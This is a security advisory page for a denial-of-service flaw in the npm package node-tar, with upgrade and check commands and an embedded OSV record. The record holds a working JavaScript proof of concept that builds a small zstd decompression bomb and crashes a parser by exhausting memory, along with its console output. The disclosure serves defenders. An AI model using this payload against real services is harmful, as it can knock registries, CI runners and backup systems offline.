CVE-2026-140229: node-tar Denial of Service Vulnerability
HIGHCVE-2026-140229 is a HIGH denial of service vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting node-tar libraries in the npm ecosystem. The issue involves denial of service via unbounded memory allocation bypassing maxdecompressionratio. Remediation is available by upgrading affected packages to version 8.0.0.
CVE-2026-140229 at a Glance
How to Fix CVE-2026-140229
To remediate this vulnerability, upgrade all affected node-tar dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install tar@8.0.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls tar
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2026-140229, inspect your project dependencies using npm:
npm ls tar
Analyze the terminal output to locate any version of node-tar in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 8.0.0), your application is affected.
Note: The npm ls tar command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In node-tar, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-140229 Affected node-tar Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
tar
|
npm |
< 8.0.0
|
8.0.0
|
References
Frequently Asked Questions
What is CVE-2026-140229?
Which node-tar versions are affected?
What version fixes CVE-2026-140229?
Is tar affected?
What CWE is associated with CVE-2026-140229?
How can I check npm dependencies for CVE-2026-140229?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-9239-v992-p74f",
"modified" : "2026-12-05T00:16:01Z",
"published" : "2026-12-05T00:16:01Z",
"aliases" : [ "CVE-2026-140229" ],
"summary" : "node-tar: Denial of service via unbounded memory allocation bypassing maxDecompressionRatio",
"details" : "### Summary\n\nThe `maxDecompressionRatio` guard `tar` added for GHSA-23hp-3jrh-7fpw is evaluated *after* node zlib has already materialized the inflated output, so it observes an allocation rather than bounding one. A remote, unauthenticated party who can hand `tar.t()`/`tar.x()` an archive can deny service with 65,608 bytes, at stock settings.\n\n### Details\n\nThe check runs from the decompressor's `'data'` event, which fires once per call to node zlib's *synchronous* `_processChunk` — by then that input chunk's entire inflated output is resident:\n\n```ts\n// src/parse.ts:550-555\nthis[UNZIP].on('data', chunk => {\n if (this[CHECKDECOMPRESSIONRATIO](chunk)) {\n this[CONSUMECHUNK](chunk)\n }\n})\n```\n\nCompressed bytes are credited per `write()`, so the guard's resolution is the *caller's write size*, not the codec's output: a single large write front-loads the whole `inputSize × 1000` budget before the ratio is evaluated even once, and `tar`'s own file-reading helpers write up to 16 MB at a time. The decompressors are built with no `maxOutputLength`, so nothing else caps that chunk.\n\nThe single ratio constant of 1000 was calibrated to DEFLATE's ~1032:1 ceiling. zstd reaches ~32,700:1 and brotli ~1,230,000:1, so on those codecs the expansion completes inside one chunk whatever the write size. zstd requires no caller opt-in — it is auto-sniffed by 4-byte magic whenever `this.zstd !== false`, the default.\n\nA third path needs no decompression. Both parse loops stop at the tar EOF marker; the buffering does not:\n\n```ts\n// src/parse.ts:599-603, 670\nwhile (this[BUFFER] && this[BUFFER].length && !this[SAW_EOF]) { … }\n…\n[BUFFERCONCAT](c: Buffer) {\n if (c && !this[ABORTED]) {\n this[BUFFER] = this[BUFFER] ? Buffer.concat([this[BUFFER], c]) : c\n }\n}\n```\n\nOnce `SAW_EOF` is set, `position` never advances, so every subsequent `write()` appends its chunk with nothing draining it — and `write()`'s return value never reflects `SAW_EOF`, so a piping producer gets no signal to slow down.\n\n### PoC\n\n```js\n// poc.js — from a clean `npm i tar@7.5.22`, driven only through tar's public API.\n// Builds a 65,608-byte zstd archive that expands to 2 GiB, then feeds it to tar.t()\n// at DEFAULT options in 64 KiB writes: no zstd opt-in (it is auto-detected by magic\n// bytes) and no ratio override. The attacker controls only the archive bytes.\nconst fs = require('fs');\nconst z = require('zlib');\nconst tar = require('tar');\n\nfunction buildHeader({ size, name = 'payload' }) {\n const h = Buffer.alloc(512);\n h.write(name); h.write('0000644\\0', 100); h.write('0000000\\0', 108); h.write('0000000\\0', 116);\n h.write(size.toString(8).padStart(11, '0') + '\\0', 124);\n h.write('00000000000\\0', 136); h.write(' ', 148); h.write('0', 156); h.write('ustar \\0', 257);\n let s = 0; for (let i = 0; i < 512; i++) s += h[i];\n h.write(s.toString(8).padStart(6, '0') + '\\0 ', 148);\n return h;\n}\n\nconst size = 2 * 1024 * 1024 * 1024; // declared entry size: 2 GiB\nconst h = buildHeader({ size });\nconst zc = z.createZstdCompress(), out = fs.createWriteStream('bomb.tar.zst');\nzc.pipe(out); zc.write(h);\nconst CH = Buffer.alloc(1 << 20); let w = 0;\n(function loop() {\n while (w < size) { w += CH.length; if (!zc.write(CH)) { zc.once('drain', loop); return; } }\n zc.write(Buffer.alloc(1024)); zc.end();\n out.on('finish', run);\n})();\n\nfunction run() {\n console.log('archive built:', fs.statSync('bomb.tar.zst').size, 'bytes; parsing...');\n const p = tar.t({ onentry: () => {} }); // stock options\n const b = fs.readFileSync('bomb.tar.zst');\n for (let i = 0; i < b.length; i += 65536) p.write(b.subarray(i, i + 65536));\n p.end();\n}\n```\n\n```console\n## The node process prints one line and then dies mid-parse; the exit status and the\n## OOM flag below come from the container runtime, not from the script.\n\n$ npm i tar@7.5.22\n$ docker run --name tar-poc --network none --memory 512m --memory-swap 512m -v \"$PWD:/w\" -w /w node:22 node poc.js\narchive built: 65608 bytes; parsing...\n$ echo \"exit=$?\"\nexit=137\n$ docker inspect tar-poc --format '{{.State.OOMKilled}}'\ntrue\n\n## The archive is written before parsing starts, so it survives the kill:\n$ ls -l bomb.tar.zst\n-rw-r--r-- 65608 bomb.tar.zst # 65,608 bytes in, 2 GiB declared - ratio ~32,736:1\n\n## No \"max decompression ratio exceeded\" error precedes the kill, though that ratio is\n## ~32,736:1 against the default 1000:1 limit. 64 KiB input writes do not help: one zstd\n## frame expands past the cap inside a single synchronous _processChunk.\n```\n\n### Impact\n\nA remote, unauthenticated attacker who can get any service to run `tar.t()`/`tar.x()` on a supplied archive — registries, CI runners, artifact and backup services — denies service with a 65,608-byte zstd archive at default settings. The attacker sizes the allocation — the entry header declares it — so under a memory limit it is an immediate OOM kill, and without one, host-wide memory pressure.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "tar"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "8.0.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/isaacs/node-tar/security/advisories/GHSA-9239-v992-p74f"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-140229"
}, {
"type" : "WEB",
"url" : "https://github.com/isaacs/node-tar/commit/73b352e0010d6c99794ea7374800816a46d3bdb2"
}, {
"type" : "WEB",
"url" : "https://github.com/isaacs/node-tar/commit/da66090c7a44b2140bd4a6343c478a8e411e1aa7"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/isaacs/node-tar"
}, {
"type" : "WEB",
"url" : "https://github.com/isaacs/node-tar/releases/tag/v8.0.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-770" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-12-05T00:16:01Z",
"nvd_published_at" : "2026-12-01T17:17:35Z"
}
}